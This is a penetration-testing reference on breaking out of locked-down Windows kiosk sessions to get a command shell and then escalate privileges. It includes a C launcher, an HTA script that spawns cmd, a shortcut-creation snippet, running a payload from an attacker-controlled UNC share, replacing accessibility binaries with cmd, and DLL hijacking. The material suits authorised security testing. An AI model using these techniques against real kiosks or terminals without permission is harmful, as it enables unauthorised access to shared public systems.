Skip to main content

Windows Kiosk and Restricted Desktop Breakout

A Windows kiosk (assigned access, single-app mode, or a locked-down session) runs one application in a restricted desktop. Typical deployments are airport check-in terminals, retail point of sale units, self-service kiosks, and locked-down thin clients. Win+R, Task Manager, Ctrl+Shift+Esc and often Ctrl+Alt+Del are disabled, File Explorer is restricted, and the user is expected to use only the kiosk application.

The objective is to turn the restricted session into a usable command shell (cmd.exe or PowerShell), and from there escalate. This note is written to be a reference you can follow during an engagement, not just a single walked path.

The general method has three stages:

  1. Gain access to a dialog box.
  2. Exploit the dialog box to achieve command execution.
  3. Escalate privileges.

Recon before you break out​

Understand the environment first. A kiosk is usually a thin client over a device or backend service, so the fastest escape is often to break something the app depends on.

  • Process and service inventory: tasklist, tasklist /svc, sc query, wmic service get name,pathname,startmode, Autoruns.
  • Network: netstat -ano, listening ports, the backend host and port the app calls.
  • Files: startup batch or script files, .config, .ini, logs, and anything in %APPDATA%, %LOCALAPPDATA%, C:\ProgramData, or the app install directory.
  • Scheduled tasks: schtasks /query /fo LIST /v.
  • Devices: badge reader, scanner, printer, signature pad, card reader, coin/cash module. Anything you can influence from outside (for example a management portal that powers a device off, or a reachable network service) is an error-injection point.
  • Dialogs: walk the application and record every feature that opens a standard Windows dialog (Open, Save, Save As, Browse, Import, Export, Print, Help, Search, Scan). This inventory drives stage 2.

Stage 1: obtain a dialog box​

Restrictions are usually applied to File Explorer and the shell, not to every Win32 dialog. A dialog box is a genuine Explorer window with full filesystem and UNC access.

Application file dialogs​

Published or kiosk apps frequently expose:

  • Open / Open File
  • Save / Save As
  • Browse / Choose folder
  • Import / Export
  • Print / Print preview / Print to file
  • Help / About with links
  • Search / Scan

The classic example is MS Paint (File, then Open). Notepad, WordPad, most document viewers, image viewers, and browser dialogs also work. From any of these you can type an absolute path or a UNC path into the File name field and press Enter.

Many Print dialogs let you "Print to file" and choose an output path, which is another way to reach the filesystem and to trigger a Save-style dialog.

Help menus (F1) can open a compiled help file (.chm via hh.exe) or a support URL. Error dialogs frequently embed clickable links (support, documentation, troubleshooting). Clicking an external link can launch the system browser, which is a full unsandboxed process.

Built-in utilities​

If the Start Menu is not fully filtered, these are all dialog or execution sources:

  • Control Panel applets (control, individual .cpl files).
  • MMC consoles and snap-ins: Event Viewer (eventvwr.msc), Task Scheduler (taskschd.msc), Device Manager (devmgmt.msc), Services (services.msc), Disk Management (diskmgmt.msc), Computer Management (compmgmt.msc).
  • msinfo32, resmon, perfmon, regedit (if not blocked).
  • powershell.exe, cmd.exe via the Start Menu search if any shortcut survived.

Logon screen accessibility (only when you are at a logon or SAS prompt)​

At a logon screen, the accessibility buttons (Utility Manager, on-screen keyboard, magnifier, narrator, sticky keys) launch binaries named utilman.exe, osk.exe, magnify.exe, narrator.exe, sethc.exe, DisplaySwitch.exe. If you can influence those files (replace with cmd) or if a keyboard shortcut triggers them, you get SYSTEM context. This is not available from inside a locked kiosk session, only where you control the logon path.

Stage 2: command execution from a dialog​

Once you have any dialog, these are execution primitives, roughly in order of convenience.

Run a native executable from the dialog​

Type an absolute path into the File name field and press Enter:

C:\Windows\System32\cmd.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Browsers may treat this as a download. Approve the download prompt with Open or Open file. Alternatively navigate to C:\Windows\System32, then Shift+Right-click a folder and choose Open command window here (or Open PowerShell window here).

In File Explorer or the browser address bar, type a local path and Enter. Legacy browsers accept file:// and, in old versions, javascript: URLs. The Start Menu search box sometimes still finds binaries by partial name.

Run a binary directly over the network​

From the dialog, browse to a UNC path or WebDAV URL and right-click an executable, then Open:

\\10.10.10.10\share\pwn.exe

A trivial launcher that opens cmd:

#include <stdlib.h>
int main() {
  system("C:\\Windows\\System32\\cmd.exe");
}

File association execution​

If an extension is associated with an interpreter, dropping and opening the file runs code:

  • .bat, .cmd (cmd.exe)
  • .vbs, .vbe, .js, .jse, .wsf (Windows Script Host)
  • .hta (mshta.exe, full HTML application with scripting)
  • .ps1 (if the association or execution policy allows)
  • .lnk, .url, .scf (shell shortcuts, can carry a command or UNC)
  • .msc (MMC console), .cpl (Control Panel applet)
  • .msi (installer, also a privilege escalation path when AlwaysInstallElevated is set)
  • .jar, .jnlp (Java, if present)

Example .bat:

cmd

Example .hta:

<html><body><script>new ActiveXObject("WScript.Shell").Run("cmd.exe");</script></body></html>

Shortcut modification or creation​

Right-click an existing shortcut, Properties, and set Target to C:\Windows\System32\cmd.exe, then run it. If no shortcut exists, create one with PowerShell:

$s = (New-Object -ComObject WScript.Shell).CreateShortcut("$env:USERPROFILE\Desktop\s.lnk")
$s.TargetPath = "C:\Windows\System32\cmd.exe"
$s.Save()

Protocol and shell handlers​

Some URIs launch processes and are useful when you can type a URL:

  • search-ms: (Windows Search)
  • ms-msdt: and msdt: (Microsoft Support Diagnostic Tool)
  • mshta: (mshta.exe)
  • file://, shell:startup, shell:common startup, shell:AppsFolder
  • ms-settings:, control panel URIs

UAC-bypass class handlers such as fodhelper.exe, computerdefaults.exe, sdclt.exe, eventvwr.exe and slui.exe are covered in windows-privesc and the UAC bypass notes.

Task Scheduler and Control Panel​

Task Scheduler (taskschd.msc) can create a task that runs an arbitrary command or script as the current user (or higher if the account is privileged). Control Panel (Programs and Features, or an applet) can run installers.

Office macros and templates​

If Microsoft Office is reachable, macros, DDE, or template injection can run commands. This depends heavily on the environment.

File transfer from the restricted session​

  • SMB: host a share and browse it from a dialog via UNC.
smbserver.py -smb2support share $(pwd)
  • WebDAV: host a WebDAV share and open it from the dialog or browser.
  • FTP: browse an FTP URL from the dialog or browser.
  • Browser downloads: place payloads on an HTTP(S) server you control.
  • Clipboard: copy and paste where the shell allows it.

Stage 3: escalate privileges​

After the shell is stable, treat the host as a normal Windows target:

  • Enumerate with WinPEAS, PowerUp or SharpUp.
  • Walk windows-privesc (services, permissions, UAC, AlwaysInstallElevated, unquoted paths).
  • Walk windows-privileges for token and group privilege abuse.
  • For a Citrix or published desktop, pair with citrix-breakout.

Systematic breakout checklist (fuzzing an environment)​

During an engagement, work this list rather than guessing:

  1. Enumerate every application and dialog the session exposes. Record a dialog inventory.
  2. For each app, open every File, Help, Import, Export, Print and Search feature and note every dialog.
  3. In each dialog File name field, test: absolute path, UNC path, executable path, protocol URI, shell: URI, and a long path with trailing dots or spaces.
  4. Test every file extension association by dropping a harmless file of that type and opening it.
  5. Test the Start Menu search with partial names (cmd, powersh, control, reged).
  6. Test right-click context menus (Shift+Right-click adds "Open command window here").
  7. Test keyboard shortcuts: F1, Ctrl+O, Ctrl+S, Ctrl+P, Alt, Shift+F10, and any app-specific shortcuts.
  8. Test Print dialogs including "Print to file".
  9. Test the browser: address bar paths, downloads, and any built-in developer tools.
  10. Test the logon and SAS path accessibility tools where applicable.
  11. Test whether a writable directory on PATH exists (hijack a missing DLL or exe, see dll-injection).
  12. Repeat for each published or allowed application, since restrictions often differ per app.

References​